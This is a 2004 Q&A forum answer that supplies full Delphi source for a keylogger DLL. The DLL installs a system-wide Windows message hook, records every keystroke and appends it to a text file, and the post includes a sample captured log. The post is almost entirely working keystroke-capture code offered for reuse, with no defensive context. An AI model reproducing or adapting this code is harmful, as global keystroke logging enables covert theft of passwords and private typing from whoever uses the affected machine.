Infoprojekt - Key Logger

# Hook example to reverse engineer

Verified Answer[?](http://www.experts-exchange.com/Programming/Languages/Pascal/Delphi/Q_21220329.html)

The member who asked this question verified this comment provided the solution that solved their problem.

by:[geobul](http://www.experts-exchange.com/members/geobul.html)Posted on 2004-12-01 at 02:11:13[ID: 12714198](http://www.experts-exchange.com/Programming/Languages/Pascal/Delphi/Q_21220329.html#a12714198)

Hi,  
  
The hook dll:  
--------  
library TheHook;  
  
uses  
  Windows,  
  Messages,  
  SysUtils;  
  
var  
  TheHookHandle: HHOOK;  
  FF: TextFile;  
  FileName: string;  
  
function TheHookProc(Code : integer; wParam : DWORD; lParam : DWORD): longint; stdcall;  
var  
  LogText: string;  
  KeyState: TKeyBoardState;  
  VirtualKey: byte;  
  ScanCode: byte;  
  AChar: array[0..1] of Char;  
  buf: string;  
begin  
  result := 0;  
  if (Code = HC\_ACTION) then begin  
    if (tagMSG(Ptr(lParam)^).Message = WM\_KEYUP) or (tagMSG(Ptr(lParam)^).Message = WM\_KEYDOWN) then begin  
      // record UP/DOWN state  
      if (tagMSG(Ptr(lParam)^).Message = WM\_KEYUP) then LogText := 'KEYUP   '  
      else LogText := 'KEYDOWN ';  
        
      // translate the key to ASCII  
      GetKeyboardState(KeyState);  
      VirtualKey := tagMSG(Ptr(lParam)^).WParam;  
      ScanCode := HIBYTE(LOWORD(tagMSG(Ptr(lParam)^).lParam));  
      ToAscii(VirtualKey, ScanCode, KeyState, AChar, 0);  
  
      // exceptions  
      case VirtualKey of  
        VK\_BACK: buf := 'Backspace';  
        VK\_DELETE: buf := 'Delete';  
        VK\_TAB: buf := 'Tab';  
        VK\_RETURN: buf := 'Enter';  
        VK\_SHIFT: buf := 'Shift';  
        VK\_CAPITAL: buf := 'CapsLock';  
        VK\_ESCAPE: buf := 'Esc';  
        VK\_SPACE: buf := 'Space';  
        // etc. keys you're interested in  
      else  
        buf := AChar[0];  
      end;  
  
      LogText := LogText + buf;  
  
      // open the log file  
      FileName := 'c:\log.txt'; // your log filename here  
      AssignFile(FF, FileName);  
      if FileExists(FileName) then Append(FF)  
      else Rewrite(FF);  
  
      // write to the log  
      WriteLn(FF, LogText);  
  
      // close the log file  
      CloseFile(FF);  
    end;  
  end;  
  {Call the next hook in the hook chain}  
  if (Code < 0) then  
    result := CallNextHookEx(TheHookHandle, Code, wParam, lParam);  
end;  
  
procedure StartTheHook; stdcall;  
begin  
  if (TheHookHandle = 0) then begin  
  
    // set the hook  
    TheHookHandle := SetWindowsHookEx(WH\_GETMESSAGE, @TheHookProc, hInstance, 0);  
  end;  
end;  
  
procedure StopTheHook; stdcall;  
begin  
  if (TheHookHandle <> 0) then begin  
    // Remove our hook and clear our hook handle  
    if (UnhookWindowsHookEx(TheHookHandle) <> FALSE) then begin  
      TheHookHandle := 0;  
    end;  
  
  end;  
end;  
  
exports  
  StartTheHook,  
  StopTheHook;  
  
begin  
end.  
--------  
  
The sample text was:  
abcdABCD      1234  
!@#$  
  
And the log file was:  
KEYDOWN a  
KEYUP   a  
KEYDOWN b  
KEYUP   b  
KEYDOWN c  
KEYUP   c  
KEYDOWN d  
KEYUP   d  
KEYDOWN Space  
KEYUP   Space  
KEYDOWN Backspace  
KEYUP   Backspace  
KEYDOWN CapsLock  
KEYUP   CapsLock  
KEYDOWN A  
KEYUP   A  
KEYDOWN B  
KEYUP   B  
KEYDOWN C  
KEYUP   C  
KEYDOWN D  
KEYUP   D  
KEYDOWN Tab  
KEYUP   Tab  
KEYDOWN 1  
KEYUP   1  
KEYDOWN 2  
KEYUP   2  
KEYDOWN 3  
KEYUP   3  
KEYDOWN 4  
KEYUP   4  
KEYDOWN Enter  
KEYUP   Enter  
KEYDOWN Shift  
KEYDOWN !  
KEYUP   !  
KEYDOWN @  
KEYUP   @  
KEYDOWN #  
KEYUP   #  
KEYDOWN $  
KEYUP   $  
KEYUP   Shift  
  
You may record KEYDOWN (or UP) messages only and ignore special keys like Shift and CapsLock.  
  
Regards, Geo